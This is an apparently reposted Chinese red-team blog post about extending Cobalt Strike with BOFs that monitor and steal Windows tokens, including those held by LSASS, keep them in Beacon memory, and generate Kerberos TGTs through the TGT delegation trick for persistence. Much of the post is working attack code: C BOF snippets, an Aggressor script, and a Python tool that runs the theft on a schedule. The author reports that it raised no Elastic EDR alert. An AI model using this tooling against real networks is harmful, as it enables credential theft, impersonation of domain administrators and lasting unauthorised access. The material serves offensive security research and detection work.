Monitor Cobalt Strike beacon for Windows tokens and gain Kerberos persistenc
在最近的一次渗透测试中,我和团队成员成功入侵了一台连接着一些高权限用户的 Windows 服务器。由于 EDR 会检测到我们从 lsass.exe
提取凭据的行为,我们不想冒这个风险,因此决定滥用 Windows 令牌来在网络中横向移动。
我们很快发现了一个有价值用户的 Windows 令牌,但这个令牌无法使用。第二天,我们很幸运地发现另一个通过 RDP 连接的高权限用户,我们成功模拟了该用户并以其身份生成了 Kerberos 票据。
但如果用户在我们下班时间连接并登出了呢?我们就会错过这个机会。于是我想到了定期监控 Windows 令牌的想法,并开始寻找现有的工具。
首先,我建议阅读 sensepost[1] 上关于 Windows 令牌的文章。
其次,我不是 Windows 专家,对 Windows 令牌的很多方面仍然不太清楚,如果我有遗漏,请告诉我。
枚举 Windows 令牌
Cobalt Strike 允许操作员列出进程和相关的令牌。
然而,如果我们不介意打开 lsass.exe
的句柄,这种方式会遗漏一些令牌。LSASS 进程为每个使用交互式登录(例如本地认证或 RDP)连接的用户持有一个 PrimaryToken
,所以我也想要能够显示和窃取这些令牌。
在 sensepost 的博客文章中,附带了一个名为 Impersonate[2] 的工具,它通过遍历所有可用句柄来枚举 Windows 令牌,复制句柄并存储相关的 Windows 令牌。
我重用了代码库来创建一个用于枚举所有 Windows 令牌的 BOF
并且可以使用 Cobalt Strike Beacon API 的 BeaconUseToken(HANDLE token)
来窃取特定的令牌。
这很好,但我想要长期跟踪 Windows 令牌。
在 Beacon 内存中存储 Windows 令牌
在版本 4.8: (System) Call Me Maybe[3] 中实现了一个 Windows 令牌存储,基于 Henkru/cs-token-vault[4] BOF。
然而这个工具只允许操作员使用进程 ID 来窃取 Windows 令牌,所以我们错过了窃取 LSASS 进程中令牌的机会。
在发布版本 4.9: Take Me To Your Loader[5] 时,添加了几个 Beacon API。
DECLSPEC_IMPORT BOOL BeaconAddValue(constchar * key, void * ptr);
DECLSPEC_IMPORT void * BeaconGetValue(constchar * key);
DECLSPEC_IMPORT BOOL BeaconRemoveValue(constchar * key);
这些 API 允许我们在 Beacon 内存中保存指针并在之后检索它们。因此我使用以下代码创建了一个新的存储。
#include"beacon.h"
// ...
#define TOKEN_STORE_NAME "tokenstore"
// ...
// structure from sense impersonate original tool
typedef struct _TOKEN {
HANDLE TokenHandle;
int TokenId;
USHORT ProcessId;
DWORD SessionId;
wchar_t Username[FULL_NAME_LENGTH];
wchar_t TokenType[TOKEN_TYPE_LENGTH];
wchar_t TokenImpersonationLevel[TOKEN_IMPERSONATION_LENGTH];
wchar_t TokenIntegrity[TOKEN_INTEGRITY_LENGTH];
struct _TOKEN* Next;
} TOKEN, *PTOKEN;
void go(char* args, int len)
{
PTOKEN TokenStore = NULL;
TokenStore = (PTOKEN)BeaconGetValue(TOKEN_STORE_NAME);
// TokenStore exists
if ( TokenStore )
BeaconPrintf(CALLBACK_OUTPUT, "Current TokenStore at 0x%p", TokenStore);
// No TokenStore
else
BeaconPrintf(CALLBACK_OUTPUT, "No TokenStore");
// Add an empty token to the linked list
AddTokenToList(&TokenStore, (TOKEN){ 0 });
// Save the store for the next time
// Save the pointer of the linked list head
BeaconAddValue(TOKEN_STORE_NAME, TokenStore);
return 0;
}
通过将新的存储实现到模拟 BOF 中,我得到了以下结果
beacon> help custom-token-store
Use: custom-token-store monitor
custom-token-store show
custom-token-store use [id]
custom-token-store release
Use 'custom-token-store monitor'to monitor new tokens and store them in the store
Use 'custom-token-store show'toonlyshow the current tokens in the store
Use 'custom-token-store use'to use a token in the store
Use 'custom-token-store release'free the store from Beacon memory
对于这个场景,我首先在只有 CRASHsadmin
这一个用户连接时监控令牌。
之后,域管理员通过 RDP 连接到服务器,我们再次运行监控。
如果我模拟属于 CRASHAdministrator
的主令牌。
然而,我注意到几分钟后,如果目标用户从其 RDP 会话注销,我泄露的 Windows 令牌就不能使用了。
同时,我偶然发现了GhostPack/Koh[6],它的目标也是窃取 Windows 令牌。该工具分为两部分:
-
一个.NET 工具,作为 Koh 服务器监控新的 Windows 令牌并存储它们 -
一个 BOF,作为 Koh 客户端通过命名管道与 Koh 服务器交互
在我这边工具运行良好,但当目标用户从 RDP 会话注销时我遇到了同样的问题:泄露的 Windows 令牌实际上不能再使用了。
此外,我想要一个只存在于 Beacon 内存中的解决方案,避免 fork&run 后渗透。
执行 Kerberos 持久化
我想要另一种方法来模拟用户,以防当我回来工作时属于该用户的 Windows 令牌不可用。我的想法是使用 TGT 委派技巧为custom-token-store
中的每个用户生成 Kerberos 票据。
为此我使用了Kerberos-BOF[7]的代码,并将其集成到另一个使用我的令牌存储的 BOF 中。
对于这个新的 BOF,我使用这个结构来跟踪 Kerberos 票据。
#define TICKET_STORE_NAME"ticketstore"
typedef struct_TICKET {
UINT16TicketId;
ULARGE_INTEGERTimestamp;
WCHARUsername[FULL_NAME_LENGTH];
LPSTRValue;
struct_TICKET* Next;
} TICKET, *PTICKET;
我们可以模拟 TokenStore 中的令牌并为用户生成 TGT 票据。
/*
* Impersonate a token to generate a TGT ticket
*/
BOOL GenerateTicket(PTOKEN Token, PTICKET Ticket)
{
if ( Token->TokenHandle && Token->TokenHandle != INVALID_HANDLE_VALUE )
{
// Impersonate the user
if ( BeaconUseToken( Token->TokenHandle ) )
{
// Try to generate the TGT via TGT deleg trick
Ticket->Value = TgtDeleg( NULL );
// Revert back
BeaconRevertToken();
if ( Ticket->Value != NULL )
return TRUE;
}
}
return FALSE;
}
使用与之前相同的过程将 Kerberos 票据保存在tgtstore
中。
// Loop over all the tokens in store
while( CurrentToken )
{
// we don't have a valid ticket for this username
if ( !ValidTicketInStore( CurrentToken->Username, TicketStore, Timestamp ) )
{
// We generate a new TGT
if ( GenerateTicket( CurrentToken, &TmpTicket ) )
{
// init the new ticket
MSVCRT$wcscpy_s( TmpTicket.Username, FULL_NAME_LENGTH, CurrentToken->Username );
TmpTicket.Timestamp = Timestamp;
TmpTicket.TicketId = ++LastTicketId;
// add the new ticket to the store
PRINT_OUT( "Add ticket to store (%ls)n", TmpTicket.Username );
AddTicketToStore( &TicketStore, TmpTicket );
}
}
CurrentToken = CurrentToken->Next;
}
// save the TGT store
BeaconAddValue( TICKET_STORE_NAME, TicketStore );
当我们使用 BOF 时。
beacon> help tgt-store
Use: tgt-store generate
tgt-store show [id]
tgt-store release
Use 'tgt-store generate'to generate new TGT based on token in custom-token-store
Use 'tgt-store show'toonlyshow the current TGTs in the store or a specific TGT
Use 'tgt-store release'free the store from Beacon memory
如果你已经阅读到这里,你可能已经注意到 Windows 令牌的监控和 Kerberos 票据的生成需要操作员手动执行 BOF 命令。我们希望这些操作能够在后台执行,甚至在非工作时间也能运行。
Cobalt Strike beacon 监控
在我的研究过程中,我发现了CobaltStrike/sleep_python_bridge[8],它利用了 Cobalt Strike 的无头客户端agscript
。
这个无头客户端允许加载 CNA 并执行 aggressor 命令。
在 CNA 端,我创建了 aggressor 命令start-token-monitoring
,它将执行转发给bstart_monitoring
。为了将参数从一个函数/命令转发到另一个,我参考了这篇博客文章[9]。
sub bstart_monitoring {
= flatten();
$i=1; #iterator
foreach $arg (){ #Loop through all of our args
eval("local('$" . $i . "')") #Declare our variable in the local scope
eval("$$i = "$arg";") #Use eval to dynamically define each of our numbered args
$i++;
}
$bid=$1;
$handle= openf(script_resource("Release/custom-token-store." . barch($bid) . ".o"));
$data= readb($handle, -1);
closef($handle);
btask($bid, "Start token monitoring");
$arg_data= bof_pack($bid, "ii", 1, 0);
beacon_inline_execute($bid, $data, "go", $arg_data);
}
// this is the command we can launch through the Script Console
command start-token-monitoring {
// forward the arguments (only the beacon ID here)
bstart_monitoring(@_)
}
使用 aggressor 的效果如下所示。
在 Python 脚本方面,第一个概念验证 (PoC) 代码如下所示。
from sleep_python_bridge.striker import CSConnector
## Connectto server
print("[*] Connecting to teamserver {}:{}...".format(args.host, args.port))
with CSConnector(
cs_host=args.host,
cs_port="50050",
cs_user=args.username,
cs_pass=args.password,
cs_directory=args.path) as cs:
# include the adequate CNA for token + TGT stores
# WARNING: I faced issue if the CNA path isnot absolute
cs.ag_load_script(f"{args.token_store}/custom-token-store.cna")
cs.ag_load_script(f"{args.tgt_store}/tgt-store.cna")
# execute the agressor command `start-token-monitoring`
# incase the command isnot launched, print the returnvalueof ag_get_string()
# if the command isnot found, check the WARNING above
cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)
# execute the agressor command `start-tgt-monitoring`
cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")
然后我使用了fwkz/riposte[10]这个工具,它可以让我在团队服务器主机上通过 tmux 非常方便地运行命令。
from sleep_python_bridge.striker import CSConnector
from argparse import ArgumentParser
fromtime import sleep
from riposte import Riposte
from prettytable import PrettyTable
from threading import Thread
class CustomRiposte(Riposte):
def setup_cli(self):
return
def parse_cli_arguments(self):
return
cs = None
csshell = CustomRiposte(prompt="cobaltstrike> ")
monitorings = []
class Monitoring:
thread = None
beacon_id = None
running = False
sleep_time = 0
def __init__(self, beacon_id, running, sleep_time):
self.beacon_id = beacon_id
self.running = running
self.sleep_time = sleep_time
def start_cs_monitoring(monitoring):
cs.ag_get_string(f"bsleep({monitoring.beacon_id},{monitoring.sleep_time})")
while monitoring.running:
# token monitor
cs.ag_get_string(monitoring.beacon_id, script_console_command="start-token-monitoring", sleep_time=0)
# tgt generate
cs.ag_get_string(monitoring.beacon_id, script_console_command="start-tgt-monitoring")
sleep(monitoring.sleep_time)
@csshell.command("beacons")
def list_beacons():
table = PrettyTable(["ID", "USER", "COMPUTER", "PID", "NOTE"])
for beacon in cs.get_beacons():
table.add_row([beacon['id'], beacon['user'], beacon['computer'], beacon['pid'], beacon['note']])
print(table)
@csshell.command("start-monitoring")
def start_monitoring(beacon_id: str, sleep_time: int):
monitoring = Monitoring(beacon_id=beacon_id, sleep_time=sleep_time, running=True)
t = Thread(target=start_cs_monitoring, args=(monitoring,))
monitoring.thread = t
t.start()
csshell.success("Start a monitoring for beacon {} each {} seconds".format(beacon_id, sleep_time))
monitorings.append(monitoring)
@csshell.command("stop-monitoring")
def stop_monitoring(beacon_id: str):
for monitoring in monitorings:
if monitoring.beacon_id != beacon_id:
continue
monitoring.running = False
monitoring.thread.join()
csshell.success("Monitoring for beacon {} stopped".format(beacon_id))
monitorings.remove(monitoring)
运行我的脚本看起来是这样的。
你可能已经注意到 BOF 会打印出 TGTs 的完整值,这是为了在 beacon 因任何原因退出时保持 Kerberos 持久性。
检测
我在运行了 Elastic EDR 代理的 Windows Server 2019 上运行监控工具,没有触发任何警报。
参考资料
sensepost: https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/
[2]Impersonate: https://github.com/sensepost/impersonate/
[3]4.8: (System) Call Me Maybe: https://www.cobaltstrike.com/blog/cobalt-strike-4-8-system-call-me-maybe
[4]Henkru/cs-token-vault: https://github.com/Henkru/cs-token-vault
[5]4.9: Take Me To Your Loader: https://www.cobaltstrike.com/blog/cobalt-strike-49-take-me-to-your-loader
[6]GhostPack/Koh: https://github.com/GhostPack/Koh
[7]Kerberos-BOF: https://github.com/RalfHacker/Kerbeus-BOF/blob/main/tgtdeleg/tgtdeleg.c
[8]CobaltStrike/sleep_python_bridge: https://github.com/Cobalt-Strike/sleep_python_bridge/
[9]这篇博客文章: https://passthehashbrowns.github.io/cobalt-strike-aliases-kinda
[10]fwkz/riposte: https://github.com/fwkz/riposte
原文始发于微信公众号(securitainment):监控 Cobalt Strike beacon 以获取 Windows 令牌并实现 Kerberos 持久化
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论